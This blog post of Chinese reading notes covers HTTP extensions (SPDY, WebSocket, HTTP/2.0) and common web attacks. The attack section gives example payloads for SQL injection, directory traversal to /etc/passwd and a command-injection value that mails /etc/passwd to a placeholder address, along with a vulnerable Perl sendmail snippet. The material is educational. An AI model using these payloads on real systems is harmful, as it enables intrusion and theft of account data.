《图解HTTP》读书笔记（五）——HTTP追加协议和Web攻击

前言

       本文是本系列的第五篇，也是最后一篇，主要记录了HTTP追加协议和Web攻击的相关知识，如果有错误烦请大家指出。

HTTP追加协议

1.基于HTTP的协议
       当前的Web应用网站所追求的功能可通过Web应用和脚本程序实现，即使这些功能已经满足需求，在性能上却未必最优。这是因为HTTP协议上的限制以及自身性能有限。HTTP功能上的不足可以通过创建一套全新的协议来弥补，可是目前基于HTTP的Web浏览器的使用环境已经遍布全球，因此无法完全抛弃HTTP。但有一些新协议的规则是基于HTTP的，并在此基础上添加了新功能。
2.消除HTTP瓶颈的SPDY
       在像FaceBook这种SNS（Social Network Service，社交网络服务）网站上，实时观察用户发的新内容，当用户量非常大时，在很短时间能就会发生大量的内容更新。为了尽可能实时地显示这些内容，服务器上一有更新就需要直接把那些内容反馈到客户端界面上。HTTP无法妥善的处理好这项任务，完成这项任务HTTP标准具有以下瓶颈：

• 一条连接上只能发送一个请求。
• 请求只能从客户端开始，客户端不可以接收除响应之外的指令。
• 请求/响应的首部未经压缩就发送，首部信息越多延迟越大。
• 发送冗长的首部，每次互相发送相同的首部造成的浪费较多。
• 可任意选择数据压缩格式，非强制压缩发送。

       Ajax的出现给出了一种解决方法，Ajax（Asynchronous Javascript and XML，异步Javascript和XML技术）是一种利用Javascript和DOM的操作，以达到局部Web页面替换加载的异步通信手段。和以前的同步通信相比，由于它只更新一部分页面，优点显而易见。

       使用Ajax可以实时地从服务器获取内容，也就是我们熟悉的轮询的方式，这有可能会导致大量无效请求产生。另外，这也没有解决HTTP协议本身存在的问题。
       后来，针对Ajax轮询会产生大量的无效请求，又出现了Comet的解决方法，也就是所谓的长轮询。这是一种通过延迟应答，模拟实现服务器端向客户端推送的功能。

       我们知道，通常情况下服务端在收到请求，在处理完毕后会立即返回响应，但为了实现推送功能，Comet会先将响应挂起，当服务端有内容更新时，再返回该响应。因此服务端一旦有更新，就可以立即反馈给客户端。这样做内容上虽然可以做到实时更新，但为了保留相应，一次连接的持续时间也变长了，为了维持连接也会消耗很多资源。而且，这种方式同样未解决HTTP协议本身的问题。
       轮询和长轮询一定程度上使HTTP得到了改善，但对HTTP协议本身的限制仍束手无策。为了进行根本性的改善，需要进行一些协议层面上的改动。Google退出的SPDY协议正是为了从协议级别消除HTTP遭遇的瓶颈。
       SPDY没有完全改写HTTP协议，而是在TCP/IP的应用层和传输层之间通过新加会话层的形式运作，会话层可以控制数据的流动，但还是采用HTTP建立通信连接，因此在用户层面，使用上是没有区别的。

       使用SPDY后，HTTP协议获得了额外的功能：

• 多路复用流
         通过一个TCP连接，可以无限制的处理多个HTTP请求，使得TCP的处理效率得到提高。
• 赋予请求优先级
         SPDY不仅可以无限制的并发处理请求，还可以给请求分配优先级顺序，这样主要是为了在发送多个请求时，解决因带宽低而导致响应变慢的问题。
• 压缩HTTP首部
         压缩HTTP请求和响应的首部，这样一来通信产生的数据报数量和发送的字节数就更少了。
• 推送服务
         支持服务器主动向客户端推送数据的功能，这样，服务器可直接发送数据而不必等待客户端的请求。
• 服务器提示功能
         服务器可以主动提示客户端请求所需的资源，由于在客户端发现资源之前就可以获知资源的存在，因此在资源已缓存的情况下，可以避免发送不必要的请求。

       在使用SPDY时，Web浏览器及Web服务器都要为对应SPDY做出一定程度上的改动。但SPDY基本上只是将单个域名（IP地址）的通信多路复用，多以当一个Web网站上使用多个域名下的资源时，改善效果就会受到限制。
       由此可见，SPDY确实是一种可有效消除HTTP瓶颈的技术，但很多Web网站存在的问题并非仅仅由HTTP瓶颈所导致的。对Web本身的速度提升，还应该从其他可细致钻研的地方入手。
3.使用浏览器进行全双工通信的WebSocket
       使用上文已经提到轮询和长轮询的方式进行通信可以提升Web的浏览速度。但问题在于，通信若是使用HTTP协议，就无法彻底解决瓶颈问题，WebSocket正是为解决这些问题而实现的一套新协议及API。
       WebSocket，即Web浏览器与Web服务器之间全双工通信标准。一旦Web服务器与客户端之间建立起WebSocket协议的通信连接，之后所有的通信都依靠这个专用协议进行。由于WebSocket是建立在HTTP基础上的协议，因此连接的发起方仍是客户端，而一旦确认WebSocket通信连接，不论服务器还是客户端，任一方都可直接向对方发送报文。

• 推送功能
         支持由服务器向客户端推送数据的推送功能，这样服务器可直接发送数据，不用等待客户端的请求。
• 减少通信量
         只要建立起WebSocket连接，就希望一直保持连接状态，和HTTP相比，不但每次连接时的总开销减少，而且由于WebSocket的首部信息很小，通信量也减少了。

       为了使用WebSocket通信，在HTTP连接建立之后，需要完成一次“握手”的步骤。这需要用到HTTP的Upgrade首部字段，告知服务器通信协议发生改变，已达到握手的目的。服务器对于握手请求，返回状态码101 Switching Protocols的响应，成功建立起WebSocket连接之后，通信时不再使用HTTP的数据帧，而采用WebSocket独立的数据帧。

4.期盼已久的HTTP/2.0
       HTTP/2.0的目标是改善用户在使用Web时的速度体验，主要有以下记种基础协议。

• SPDY
• HTTP Speed + Mobility
         由微软起草，用于改善并提高移动端通信时的通信速度和性能的标准，它建立在SPDY和WebSocket基础上。
• Network-Friendly HTTP Upgrade
         主要是在移动端通信时改善HTTP性能的标准。

       HTTP/2.0围绕着如下7项主要的技术进行讨论。

技术	协议
压缩	SPDY、Friendly
多路复用	SPDY
TSL义务化	Speed+Mobility
协商	Spedd+Mobility、Friend
客户端拉拽/服务端推送	Speed+Mobility
流量控制	SPDY
WebSocket	Speed+Mobility

注：HTTP Speed + Mobility简写为Speed+Mobility，NetWork-Friendly HTTP Upgrade简写为Friendly。

       由于本书出版日期较早，截止到现在（2019/5/4）HTTP/2.0早已标准化，所以本小节仅供参考。

Web攻击

1.针对Web的攻击技术
       HTTP协议本身并不存在安全问题，因为协议本身几乎不会成为攻击的对象。应用HTTP协议的服务器和客户端，以及运行在服务器上的Web应用等资源才是攻击目标。
       目前，来自互联网的攻击大多是冲着Web站点来的。从整体上看，HTTP就是一个通用的单纯协议机制，因此安全性是其劣势。开发者需要自行设计并开发认证及session管理功能来满足Web应用的安全要求，而自行设计就意味着会出现各种形形色色的实现，结果就是安全并不完善，仍在运作的Web应用背后隐藏着各种容易被攻击者滥用的安全漏洞。
       针对Web应用的攻击模式主要有两种：

• 主动攻击：以SQL注入和OS命令注入为代表的，攻击者直接通过访问Web应用，把攻击代码传入的攻击模式。
• 被动攻击：以XSS和CSRF为代表的，利用圈套策略执行攻击代码的攻击模式。

2.因输出值转义不完全引发的安全漏洞
       无论是客户端还是服务端，将对方的发送的数据进行转义处理能避免一些安全漏洞的产生。多数情况下采用JavaScript在客户端验证数据，可是在客户端允许篡改数据或关闭JavaScript，不适合将JavaScript验证作为安全的防范的唯一对策。所以在服务端要把一切输入值当做可能产生攻击性意义的代码，任何输入值都需要经过检查，判断其是否是符合业务逻辑的数值以及检查字符编码等预防对策。

• 跨站脚本攻击（Cross-Site Scripting， XSS）

       这是一个典型的例子，它是指通过存在安全漏洞的Web网站用户的浏览器内运行非法的HTML标签或JavaScript脚本进行的一种攻击，核心思想就是在可能的地方通过<script>标签来注入 恶意JavaSript脚本。

• SQL注入

       是指针对Web应用使用的数据库，通过运行非法的SQL而产生的攻击，该安全隐患有可能引发极大的威胁，有时会直接导致数据库信息的泄露。该攻击方法的核心是借助漏洞注入SQL语句。
       例如现在要进行一项查询操作：URL中传入name参数www.xxx.com/search?name="xxx"，持久层处理后得到的SQL语句为：SELECT * FROM SomeTable WHERE name='xxx' and flag = 1，正常情况下会得到name为xxx并且flag=1的数据项。但攻击者可以借助这里注入非法的SQL语句，将URL中参数name的值设计一下，URL改为www.xxx.com/search?name="xxx'--"，这样一来拼接出的SQL语句为SELECT * FROM SomeTable WHERE name='xxx'--'and flag = 1，我们知道在数据库中- -表示注释，也就是说在这里后面的一个判断条件直接被注释掉了，造成了信息的泄露。

• OS命令注入攻击

       它是指通过Web应用，执行非法的操作系统命令达到攻击的目的，只要是在能调用Shell函数的地方就存在被攻击的风险。我们来看这样一个例子，某个Web应用提供发邮件的功能，用户在页面上输入邮件地址和邮件内容点击发送，该应用就可以帮助用户发送指定内容的邮件到指定地址。
       该应用调用了一些Shell指令，核心代码如下：

my $adr = $q->param('mailaddress');
open(MAIL, "| /user/sbin/sendemail $adr");

       程序很容易理解，open函数会调用sendemail命令发送邮件给指定地址，攻击者抓住这点，将; cat /etc/passwd | mail hack@example.jp作为邮件地址，而程序接收到拼接出的命令为：| /user/sbin/sendemail ; cat /etc/passwd | mail hack@example.jp);。我们知道在OS命令中分号（;）会被解析为分割多个执行命令的标记，可见分号后面的指令将会被执行，结果还有账户信息的passwd文件就以邮件的形式发给hack@example.jp了。

• HTTP首部注入攻击

       HTTP首部注入攻击是指攻击者通过在响应首部字段内插入换行，添加任意响应首部或主体的一种攻击。如下所示，Web应用有时会把从外部接受到的数值赋给响应首部的字段Location和Set-Cookie：

Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345

       这里的q是外部的参数由用户指定，他被Web应用赋给了响应首部的字段，攻击者可以从这里插入换行发动攻击。攻击形式可以是：设置任何Cookie、重定向至任意URL、显示任意的主体。这样一来，通过设置Cookie攻击者可以伪装成用户，通过在响应首部插入换行符的方式，攻击者可以向响应首部插入任何字段。
       有一种特殊的HTTP首部注入攻击叫做HTTP响应截断攻击，攻击形式与上述相同，只不过是在某个位置插入连续的两个换行符。我们知道对于HTTP报文来说，一个空行隔开了报文首部和报文主体，如果在某个位置插入连续两个换行符，就作出了HTTP首部和主体之间的空行，这样就能显示伪造的主体，以达到攻击目的。

• 目录遍历攻击

       目录遍历攻击是指对本无意公开的文件目录，通过非法阶段其目录路径后，达成访问目的的一种攻击。在通过Web应用对文件处理操作时，在由外部指定文件名的处理存在疏漏的情况下，攻击者可以使用…/等相对路径定位到需要的文件。例如：某个Web应用从URL参数中接受一个文件名filename，用来操作my/find/目录下的filename文件，http: //example.com/read.php?filename=xxx，来输出该文件。这时攻击者设置参数为../../../etc/passwd(这里只是假设，可能有很多级目录)，这样一来，如果read.php脚本接受对指定文件的访问，那原本不公开的文件就会被输出。
3.因会话管理疏忽引发的安全漏洞
       会话管理是用来管理用户状态的必备功能，但是如果在会话管理上有所疏忽，就会导致用户的认证状态被窃取等后果。会话劫持是指攻击者通过某种手段拿到了用户的会话ID，并非法使用此会话的ID伪装成用户以达到攻击的目的，例如使用XSS漏洞窃取Cookie信息，进而进行CSRF攻击。

小结

       如果大家对Dos攻击、XSS、CSRF、SQL注入有兴趣可以移步我的另一篇博客：https://blog.csdn.net/weixin_41631970/article/details/88908482 ，这篇博客的内容比书中给出的更详细、好理解一点。
       到这里，本系列就全部完成了，详细内容还请大家阅读正版纸质书籍或者电子书。